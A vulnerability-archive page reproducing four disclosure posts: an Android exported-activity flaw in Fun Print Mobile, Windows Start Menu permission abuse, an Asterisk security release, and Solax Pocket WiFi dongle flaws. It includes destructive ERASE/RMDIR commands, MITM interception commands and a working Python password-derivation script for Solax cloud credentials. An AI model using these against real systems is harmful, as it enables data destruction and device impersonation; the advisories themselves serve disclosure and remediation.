Organization

Vulnerability Disclosure Archive

GNA-1988

GNA identifier
GNA-1988 GCVE registry Recent publications

Recent vulnerabilities

581 GCVE records assigned by this organization as GNA-1988

GCVE-1988-2026-0211

Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
Title
KL-001-2026-01: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking
Summary
KL-001-2026-01: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking Title: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking Advisory ID: KL-001-2026-001 Publication Date: 2026-01-08 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2026-001.txt 1. Vulnerability Details      Affected Vendor: yintibao      Affected Product: Fun Print Mobile      Affected Version: 6.05.15      Platform: ARM64 - Android      CWE Classification: CWE-926: Improper Export of Android                          Application Components      CVE ID: CVE-2025-15464 2. Vulnerability Description      Exported Activity allows external applications to gain      application context and directly launch Gmail with inbox access,      bypassing security controls. 3. Technical Description      * Performed on Android 13 aarch64 - Samsung (Galaxy Tab A7 Lite)      * Using Frida client on Ubuntu 24.04 LTS - Frida server on        Samsung Rooted Device.      * The target Activity is exported true. Which means any        application may interact with it, given that permissions are        provided.      * The attacking host needs to attach the device email to the        application; then the account can be used by the application.      The PandoraEntry activity is exported (android:exported="true")      and processes external intents without validation.  Below is      the PandoraEntryActivity code:      protected void onCreate(Bundle bundle) {          // ... INITALIZATION CODE ...  super.onCreate(bundle);          // BELOW EXTERNAL INTENT ACCEPTED WITHOUT VALIDATION Intent          intent = getIntent();          // ... PROCESSING CONTINUES WITH UNVALIDATED INTENT ...          if (intent.hasExtra(IntentConst.START_FROM_TO_CLASS) &&          SDK.isUniMPSDK()) {              String stringExtra =  intent.getStringExtra(IntentConst.START_FROM_TO_CLASS);              if (!TextUtils.isEmpty(stringExtra) &&  stringExtra.startsWith("io.dcloud.feature.sdk.multi")) {                  intent.setClassName(getPackageName(), stringExtra);  intent.removeExtra(IntentConst.START_FROM_TO_CLASS);              }          } else {  intent.putExtra(IntentConst.WEBAPP_SHORT_CUT_CLASS_NAME,              PandoraEntry.class.getName()); intent.setClass(this,              PandoraEntryActivity.class);          }          //UNVALIDATED INTENT FORWARDED startActivity(intent);          overridePendingTransition(0, 0);      } 4. Mitigation and Remediation Recommendation      No response from vendor. There are no known mitigations to      end-users of the affected application version(s). 5. Credit      This vulnerability was discovered by Felix Segoviano of      KoreLogic, Inc. 6. Disclosure Timeline      2025-12-01 : KoreLogic requests security contact from vendor                   via weizhengsl () vip qq com and 277517409 () qq com.      2025-12-08 : KoreLogic submits vulnerability details to vendor                   via weizhengsl () vip qq com and 277517409 () qq com.      2026-01-08 : KoreLogic public disclosure. 7. Proof of Concept      URL: https://korelogic.com/Resources/Advisories/KL-001-2026-001.poc.js.txt      SHA256sum: ddb3c840c94b204fbbe2931a68771ae28d8ea9c778310cfa83e218a64a41ffd5 The contents of this advisory are copyright(c) 2026 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Relationships
reference GCVE-1988-2026-0211 (this record)

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          "value": "KL-001-2026-01: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking\n\nTitle: yintibao Fun Print Mobile Unauthorized Access via Context Hijacking\nAdvisory ID: KL-001-2026-001\nPublication Date: 2026-01-08\nPublication URL: https://korelogic.com/Resources/Advisories/KL-001-2026-001.txt\n\n\n1. Vulnerability Details\n\n\u00a0 \u00a0 \u00a0Affected Vendor: yintibao\n\u00a0 \u00a0 \u00a0Affected Product: Fun Print Mobile\n\u00a0 \u00a0 \u00a0Affected Version: 6.05.15\n\u00a0 \u00a0 \u00a0Platform: ARM64 - Android\n\u00a0 \u00a0 \u00a0CWE Classification: CWE-926: Improper Export of Android\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Application Components\n\u00a0 \u00a0 \u00a0CVE ID: CVE-2025-15464\n\n\n2. Vulnerability Description\n\n\u00a0 \u00a0 \u00a0Exported Activity allows external applications to gain\n\u00a0 \u00a0 \u00a0application context and directly launch Gmail with inbox access,\n\u00a0 \u00a0 \u00a0bypassing security controls.\n\n\n3. Technical Description\n\n\u00a0 \u00a0 \u00a0* Performed on Android 13 aarch64 - Samsung (Galaxy Tab A7 Lite)\n\u00a0 \u00a0 \u00a0* Using Frida client on Ubuntu 24.04 LTS - Frida server on\n\u00a0 \u00a0 \u00a0 \u00a0Samsung Rooted Device.\n\u00a0 \u00a0 \u00a0* The target Activity is exported true. Which means any\n\u00a0 \u00a0 \u00a0 \u00a0application may interact with it, given that permissions are\n\u00a0 \u00a0 \u00a0 \u00a0provided.\n\u00a0 \u00a0 \u00a0* The attacking host needs to attach the device email to the\n\u00a0 \u00a0 \u00a0 \u00a0application; then the account can be used by the application.\n\n\u00a0 \u00a0 \u00a0The PandoraEntry activity is exported (android:exported=\"true\")\n\u00a0 \u00a0 \u00a0and processes external intents without validation.\u00a0 Below is\n\u00a0 \u00a0 \u00a0the PandoraEntryActivity code:\n\n\u00a0 \u00a0 \u00a0protected void onCreate(Bundle bundle) {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0// ... INITALIZATION CODE ...\u00a0 super.onCreate(bundle);\n\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0// BELOW EXTERNAL INTENT ACCEPTED WITHOUT VALIDATION Intent\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0intent = getIntent();\n\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0// ... PROCESSING CONTINUES WITH UNVALIDATED INTENT ...\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0if (intent.hasExtra(IntentConst.START_FROM_TO_CLASS) \u0026\u0026\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0SDK.isUniMPSDK()) {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0String stringExtra =\n\u00a0intent.getStringExtra(IntentConst.START_FROM_TO_CLASS);\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0if (!TextUtils.isEmpty(stringExtra) \u0026\u0026\n\u00a0stringExtra.startsWith(\"io.dcloud.feature.sdk.multi\")) {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0intent.setClassName(getPackageName(), stringExtra);\n\u00a0intent.removeExtra(IntentConst.START_FROM_TO_CLASS);\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0}\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0} else {\n\u00a0intent.putExtra(IntentConst.WEBAPP_SHORT_CUT_CLASS_NAME,\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0PandoraEntry.class.getName()); intent.setClass(this,\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0PandoraEntryActivity.class);\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0}\n\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0//UNVALIDATED INTENT FORWARDED startActivity(intent);\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0overridePendingTransition(0, 0);\n\u00a0 \u00a0 \u00a0}\n\n\n4. Mitigation and Remediation Recommendation\n\n\u00a0 \u00a0 \u00a0No response from vendor. There are no known mitigations to\n\u00a0 \u00a0 \u00a0end-users of the affected application version(s).\n\n5. Credit\n\n\u00a0 \u00a0 \u00a0This vulnerability was discovered by Felix Segoviano of\n\u00a0 \u00a0 \u00a0KoreLogic, Inc.\n\n\n6. Disclosure Timeline\n\n\u00a0 \u00a0 \u00a02025-12-01 : KoreLogic requests security contact from vendor\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 via weizhengsl () vip qq com and 277517409 () qq com.\n\u00a0 \u00a0 \u00a02025-12-08 : KoreLogic submits vulnerability details to vendor\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 via weizhengsl () vip qq com and 277517409 () qq com.\n\u00a0 \u00a0 \u00a02026-01-08 : KoreLogic public disclosure.\n\n\n7. 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We are also developers of various\ntools and resources aimed at helping the security community.\nhttps://www.korelogic.com/about-korelogic.html\n\nOur public vulnerability disclosure policy is available at:\nhttps://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0210

Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
Title
Defense in depth -- the Microsoft way (part 95): the (shared) "Start Menu" is dispensable
Summary
Hi @ll, the following is a condensed form of <https://skanthak.hier-im-netz.de/whispers.html#whisper3> and <https://skanthak.hier-im-netz.de/whispers.html#whisper4>. Windows Vista moved the shared start menu from "%ALLUSERSPROFILE%\Start Menu\" to "%ProgramData%\Microsoft\Windows\Start Menu\", with some shortcuts (*.lnk) "reflected" from the (immutable) component store below %SystemRoot%\WinSxS\ JFTR: "reflection" is M$FT lingo for hardlink into the component store. Before this move only Administrators had write access to the shared start menu; afterwards at least the user account(s) created during Windows setup (OOBE, out of box experience) are granted DELETE and DELETE_CHILD access permission. Demonstration ~~~~~~~~~~~~~ Log on to an arbitrary (unprivileged) user account, start the command processor and run the following command line to display the access permissions of the shared start menu: ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu" | C:\ProgramData\Microsoft\Windows\Start Menu COMPUTER\User:(OI)(CI)(IO)(DE,DC) | S-1-5-21-xxx-yyy-zzz-1000:(OI)(CI)(IO)(DE,DC) | COMPUTER\Administrator:(OI)(CI)(IO)(DE,DC) | NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) | BUILTIN\Administrators:(I)(OI)(CI)(F) | BUILTIN\Users:(I)(OI)(CI)(RX) | Everyone:(I)(OI)(CI)(RX) Instead of "COMPUTER" you get your computer name (see the environment variables %COMPUTERNAME% and %USERDOMAIN%); instead of "User" and "Administrator" you get the first/primary and the localized administrator account name. "(OI)(CI)(IO)(DE,DC)" means "inherit DELETE and DELETE CHILD access permission to all objects/files and containers/directories below this directory". Run the following command line to confirm the latter: ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu" /C /Q /T | FINDSTR.EXE /L "%ProgramData% (DE,DC)" "Thanks" to the braindead "reflection" of shortcuts (generally: files) from the component store their access permissions are changed too: ICACLS.EXE "%SystemRoot%\WinSxS\*.lnk" /C /Q /T | FINDSTR.EXE /L "%SystemRoot% (DE,DC)" Exploit ~~~~~~~ "Thanks" to the DELETE_CHILD access permission some unprivileged users can since NINETEEN years remove the shared start menu COMPLETELY! ERASE /A:HS /F /Q /S "%ProgramData%\Microsoft\Windows\Start Menu\desktop.ini" ERASE /F /Q /S "%ProgramData%\Microsoft\Windows\Start Menu\*.lnk" RMDIR /Q /S "%ProgramData%\Microsoft\Windows\Start Menu" "Thanks" to the braindead "reflection" of shortcuts (generally: files) from the component store the same unprivileged users can also erase them there and destroy the integrity of the component store: ERASE /F /Q /S "%SystemRoot%\WinSxS\*.lnk" Fix ~~~ Remove the SUPERFLUOUS access permissions (needs SE_RESTORE_PRIVILEGE): ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu" /C /Q /Remove:g "%USERDOMAIN%\Administrator" "%USERDOMAIN%\%USERNAME%" "%USERDOMAIN%\User" *S-1-5-21-xxx-yyy-zzz-RID ... /T ICACLS.EXE "%SystemRoot%\WinSxS\*.lnk" /C /Q /Remove:g "%USERDOMAIN%\Administrator" "%USERDOMAIN%\%USERNAME%" "%USERDOMAIN%\User" *S-1-5-21-xxx-yyy-zzz-RID ... /T stay tuned, and far away from unprotected system( file)s Stefan Kanthak _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
unknown Defense in depth Affected: unknown
Create a notification for this product.

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          "value": "Hi @ll,\n\nthe following is a condensed form of\n\u003chttps://skanthak.hier-im-netz.de/whispers.html#whisper3\u003e and\n\u003chttps://skanthak.hier-im-netz.de/whispers.html#whisper4\u003e.\n\nWindows Vista moved the shared start menu from \"%ALLUSERSPROFILE%\\Start Menu\\\"\nto \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\\", with some shortcuts (*.lnk)\n\"reflected\" from the (immutable) component store below %SystemRoot%\\WinSxS\\\n\nJFTR: \"reflection\" is M$FT lingo for hardlink into the component store.\n\nBefore this move only Administrators had write access to the shared start menu;\nafterwards at least the user account(s) created during Windows setup (OOBE,\nout of box experience) are granted DELETE and DELETE_CHILD access permission.\n\nDemonstration\n~~~~~~~~~~~~~\n\nLog on to an arbitrary (unprivileged) user account, start the command processor\nand run the following command line to display the access permissions of the\nshared start menu:\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\"\n\n| C:\\ProgramData\\Microsoft\\Windows\\Start Menu COMPUTER\\User:(OI)(CI)(IO)(DE,DC)\n|                                             S-1-5-21-xxx-yyy-zzz-1000:(OI)(CI)(IO)(DE,DC)\n|                                             COMPUTER\\Administrator:(OI)(CI)(IO)(DE,DC)\n|                                             NT AUTHORITY\\SYSTEM:(I)(OI)(CI)(F)\n|                                             BUILTIN\\Administrators:(I)(OI)(CI)(F)\n|                                             BUILTIN\\Users:(I)(OI)(CI)(RX)\n|                                             Everyone:(I)(OI)(CI)(RX)\n\nInstead of \"COMPUTER\" you get your computer name (see the environment variables\n%COMPUTERNAME% and %USERDOMAIN%); instead of \"User\" and \"Administrator\" you get\nthe first/primary and the localized administrator account name.\n\n\"(OI)(CI)(IO)(DE,DC)\" means \"inherit DELETE and DELETE CHILD access permission\nto all objects/files and containers/directories below this directory\".\n\nRun the following command line to confirm the latter:\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\" /C /Q /T | FINDSTR.EXE /L \"%ProgramData% (DE,DC)\"\n\n\"Thanks\" to the braindead \"reflection\" of shortcuts (generally: files) from\nthe component store their access permissions are changed too:\n\nICACLS.EXE \"%SystemRoot%\\WinSxS\\*.lnk\" /C /Q /T | FINDSTR.EXE /L \"%SystemRoot% (DE,DC)\"\n\nExploit\n~~~~~~~\n\n\"Thanks\" to the DELETE_CHILD access permission some unprivileged users can\nsince NINETEEN years remove the shared start menu COMPLETELY!\n\nERASE /A:HS /F /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\nERASE /F /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\*.lnk\"\nRMDIR /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\"\n\n\"Thanks\" to the braindead \"reflection\" of shortcuts (generally: files) from\nthe component store the same unprivileged users can also erase them there\nand destroy the integrity of the component store:\n\nERASE /F /Q /S \"%SystemRoot%\\WinSxS\\*.lnk\"\n\nFix\n~~~\n\nRemove the SUPERFLUOUS access permissions (needs SE_RESTORE_PRIVILEGE):\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\" /C /Q /Remove:g \"%USERDOMAIN%\\Administrator\" \n\"%USERDOMAIN%\\%USERNAME%\"\n\"%USERDOMAIN%\\User\" *S-1-5-21-xxx-yyy-zzz-RID ... /T\nICACLS.EXE \"%SystemRoot%\\WinSxS\\*.lnk\" /C /Q /Remove:g \"%USERDOMAIN%\\Administrator\" \"%USERDOMAIN%\\%USERNAME%\" \n\"%USERDOMAIN%\\User\"\n*S-1-5-21-xxx-yyy-zzz-RID ... /T\n\nstay tuned, and far away from unprotected system( file)s\nStefan Kanthak\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0205

Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
Title
Certified Asterisk Security Release certified-20.7-cert9
Summary
The Asterisk Development Team would like to announce security release Certified Asterisk 20.7-cert9. The release artifacts are available for immediate download at https://github.com/asterisk/asterisk/releases/tag/certified-20.7-cert9 and https://downloads.asterisk.org/pub/telephony/certified-asterisk Repository: https://github.com/asterisk/asterisk Tag: certified-20.7-cert9 ## Change Log for Release asterisk-certified-20.7-cert9 ### Links: - [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/certified-asterisk/releases/ChangeLog-certified-20.7-cert9.html) - [GitHub Diff](https://github.com/asterisk/asterisk/compare/certified-20.7-cert8...certified-20.7-cert9) - [Tarball](https://downloads.asterisk.org/pub/telephony/certified-asterisk/asterisk-certified-20.7-cert9.tar.gz) - [Downloads](https://downloads.asterisk.org/pub/telephony/certified-asterisk) ### Summary: - Commits: 4 - Commit Authors: 2 - Issues Resolved: 0 - Security Advisories Resolved: 4 - [GHSA-85x7-54wr-vh42](https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42): Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection - [GHSA-rvch-3jmx-3jf3](https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3): ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation - [GHSA-v6hp-wh3r-cwxh](https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh): The Asterisk embedded web server's /httpstatus page echos user supplied values(cookie and query string) without sanitization - [GHSA-xpc6-x892-v83c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c): ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation ### User Notes: - #### ast_coredumper: check ast_debug_tools.conf permissions ast_debug_tools.conf must be owned by root and not be writable by other users or groups to be used by ast_coredumper or by ast_logescalator or ast_loggrabber when run as root. ### Upgrade Notes: - #### http.c: Change httpstatus to default disabled and sanitize output. To prevent possible security issues, the `/httpstatus` page served by the internal web server is now disabled by default. To explicitly enable it, set `enable_status=yes` in http.conf. ### Developer Notes: ### Commit Authors: - George Joseph: (2) - Mike Bradeen: (2) ## Issue and Commit Detail: ### Closed Issues: - !GHSA-85x7-54wr-vh42: Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection - !GHSA-rvch-3jmx-3jf3: ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation - !GHSA-v6hp-wh3r-cwxh: The Asterisk embedded web server's /httpstatus page echos user supplied values(cookie and query string) without sanitization - !GHSA-xpc6-x892-v83c: ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation ### Commits By Author: - #### George Joseph (2): - #### Mike Bradeen (2): ### Commit List: - xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile. - ast_coredumper: check ast_debug_tools.conf permissions - http.c: Change httpstatus to default disabled and sanitize output. - ast_coredumper: create gdbinit file with restrictive permissions ### Commit Details: #### xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile. Author: George Joseph Date: 2026-01-15 The xmlReadFile XML_PARSE_NOENT flag, which allows parsing of external entities, could allow a potential XXE injection attack. Replacing it with XML_PARSE_NONET, which prevents network access, is safer. Resolves: #GHSA-85x7-54wr-vh42 #### ast_coredumper: check ast_debug_tools.conf permissions Author: Mike Bradeen Date: 2026-01-15 Prevent ast_coredumper from using ast_debug_tools.conf files that are not owned by root or are writable by other users or groups. Prevent ast_logescalator and ast_loggrabber from doing the same if they are run as root. Resolves: #GHSA-rvch-3jmx-3jf3 UserNote: ast_debug_tools.conf must be owned by root and not be writable by other users or groups to be used by ast_coredumper or by ast_logescalator or ast_loggrabber when run as root. #### http.c: Change httpstatus to default disabled and sanitize output. Author: George Joseph Date: 2026-01-15 To address potential security issues, the httpstatus page is now disabled by default and the echoed query string and cookie output is html-escaped. Resolves: #GHSA-v6hp-wh3r-cwxh UpgradeNote: To prevent possible security issues, the `/httpstatus` page served by the internal web server is now disabled by default. To explicitly enable it, set `enable_status=yes` in http.conf. #### ast_coredumper: create gdbinit file with restrictive permissions Author: Mike Bradeen Date: 2026-01-15 Modify gdbinit to use the install command with explicit permissions (-m 600) when creating the .ast_coredumper.gdbinit file. This ensures the file is created with restricted permissions (readable/writable only by the owner) to avoid potential privilege escalation. Resolves: #GHSA-xpc6-x892-v83c _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products

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GCVE-1988-2026-0198

Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
Title
SEC Consult SA-20260212-0 :: Multiple Vulnerabilities in various Solax Power Pocket WiFi models
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260212-0 > ======================================================================= title: Multiple Vulnerabilities             product: Various Solax Power Pocket WiFi models  vulnerable version: See section below       fixed version: See section below          CVE number: CVE-2025-15573, CVE-2025-15574, CVE-2025-15575              impact: High homepage:https://www.solaxpower.com               found: 2025-04-15 by: Stefan Viehböck SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Founded in 2012, SolaX has rapidly risen to become a global leader in photovoltaic energy storage systems and solutions. Leading the way in industry innovation, SolaX introduced Asia’s first energy storage inverter and has successfully launched five major product series over the years." Source:https://www.solaxpower.com/about/ Business recommendation: ------------------------ The vendor provides patches for the affected Pocket models which can be obtained throw their customers' Solax Cloud accounts and using the Pocket firmware upgrade function there. They should be installed immediately if the device is not already patched. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Missing Certificate Validation for SolaX Cloud MQTT Connection (CVE-2025-15573) The device does not validate the server certificate when connecting to the SolaX Cloud MQTTS server hosted in the Alibaba Cloud (mqtt001.solaxcloud.com, TCP 8883). This allows attackers in a man-in-the-middle position to act as the legitimate MQTT server and issuing arbitrary commands to devices. Large scale man-in-the-middle attacks are feasible for attackers with the capabilities to execute attacks such as BGP hijacking, DNS spoofing or intercepting communication at the backbone level (e.g. nation state). Possible threats are: - Disrupting the electric grid by repeatedly starting/stopping inverters. - Getting initial access to the victim's local networks by flashing malicious firmware on the dongles. - Causing physical damage by flashing malicious firmware on the inverters (disabling firmware-based safety checks + introducing malicious behavior like overvoltage, frequency mismatches, etc.). 2) Insecure Credential Generation for Solax Cloud MQTT Connection (CVE-2025-15574) When connecting to the Solax Cloud MQTT server the username is the "registration number", which is the 10 character string printed on the device / the QR code on the device. The password is derived from the "registration number" using a proprietary XOR/transposition algorithm. Attackers with the knowledge of the registration numbers can connect to the MQTT server and impersonate the dongle / inverters. 3) Missing Firmware Authenticity Checks (CVE-2025-15575) The firmware update functionality does not verify the authenticity of the supplied firmware update files. This allows attackers to flash malicious firmware update files on the device. Proof of concept: ----------------- 1) Missing Certificate Validation for SolaX Cloud MQTTS Connection (CVE-2025-15573) The following commands can be used to intercept the communication between a device and the Solax Cloud. iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT iptables -t nat -A PREROUTING -i wlan0 -p tcp -m tcp --dport 8883 -j REDIRECT --to-ports 8080 mitmproxy --mode transparent --set connection_strategy=lazy --set tls_version_client_min=TLS1_2 --set tls_version_server_min=TLS1_2 -k -v 2) Insecure Credential Generation for Solax Cloud MQTT Connection (CVE-2025-15574) The following python script implements the password derivation given the registration number: python ``` import re def generate_solax_password(registration_number): registration_number = bytearray(registration_number.encode()) password = bytearray(8) password[0] = registration_number[7] password[1] = registration_number[4] password[2] = registration_number[3] password[3] = registration_number[6] password[4] = registration_number[5] password[5] = registration_number[2] password[6] = registration_number[9] password[7] = registration_number[8] for i in range(len(password)): xored = password[i] ^ 0xb if re.match(r'[A-Z0-9]', chr(xored)): password[i] = xored else: print('else case') password[i] = ord('A') return password.decode('ascii') registration_number = "SM3XXXXXXX" password = generate_solax_password(registration_number) print(registration_number,password) ``` 3) Missing Firmware Authenticity Checks (CVE-2025-15575) No proof-of-concept is provided. Initial analysis of the firmware update functionality does not show any cryptographic checks (e.g. digital signature checks) on the supplied firmware update files. Furthermore, ESP32 security features such as secure boot are not used. Vulnerable / tested versions: ----------------------------- The following version has been tested on a Solax Power Pocket WiFi V3: * 618.00415.00_Pocket_WIFI_V3.015.02_20240122 It is likely that other SolaX / QCells products that directly connect to the SolaX Cloud are affected. This includes inverter Wi-Fi/LAN/LTE dongles, Adapter Box, EV Charger, etc. The vendor provided the following further affected products: 1. Pocket WiFi 3.0 2. Pocket WiFi+LAN 3. Pocket WiFi+4GM 4. Pocket WiFi+LAN 2.0 5. Pocket WiFi 4.0 Vendor contact timeline: ------------------------ 2025-05-05: Contacting vendor throughservice () solaxpower com; no response. 2025-05-16: Contacting vendor through multiple other email addresses from their website. 2025-05-20: Asking a direct contact at SolaX Power for a security contact. 2025-05-27: Vendor security team responds with PGP key. 2025-05-28: Sending encrypted advisory. 2025-06-09: Vendor responds with analysis of the issues and that a new firmware will be released by the end of July 2025. 2025-06-12: Asking a few follow-up questions, which other products are affected, and whether manual update is necessary or automatically pushed. No response. 2025-07-10: Asking vendor again & regarding patch availability. No response. 2026-02-09: Following up again, setting release date to 26th February, reserving CVE numbers. 2026-02-10: Vendor provides detailed model information with updated firmware versions. Setting disclosure date to 12th February as everything is fixed according to the vendor. 2026-02-26: Public release of advisory. Solution: --------- The vendor provides patches for the affected Pocket models which can be obtained throw their customer's Solax Cloud account and using the Pocket firmware upgrade function there. As of February 10, 2026, the firmware versions for each affected Pocket model are as follows according to the vendor: 1. Pocket WiFi 3.0 – (3.022.03) 2. Pocket WiFi+LAN – (1.009.02) 3. Pocket WiFi+4GM – (1.005.05) 4. Pocket WiFi+LAN 2.0 – (006.06) 5. Pocket WiFi 4.0 – (003.03) The vendor provided the following further information regarding EV Charger and Adapter Box: 1. EV Charger: The WiFi module firmware supports digital signature, but only one-way authentication is implemented. 2. Adapter Box: The WiFi module firmware supports two-way authentication and digital signature. Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your applicationhttps://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local officeshttps://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web:https://www.sec-consult.com Blog:https://blog.sec-consult.com X:https://x.com/sec_consult EOF Stefan Viehböck / @2026 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Relationships
reference GCVE-1988-2026-0198 (this record)

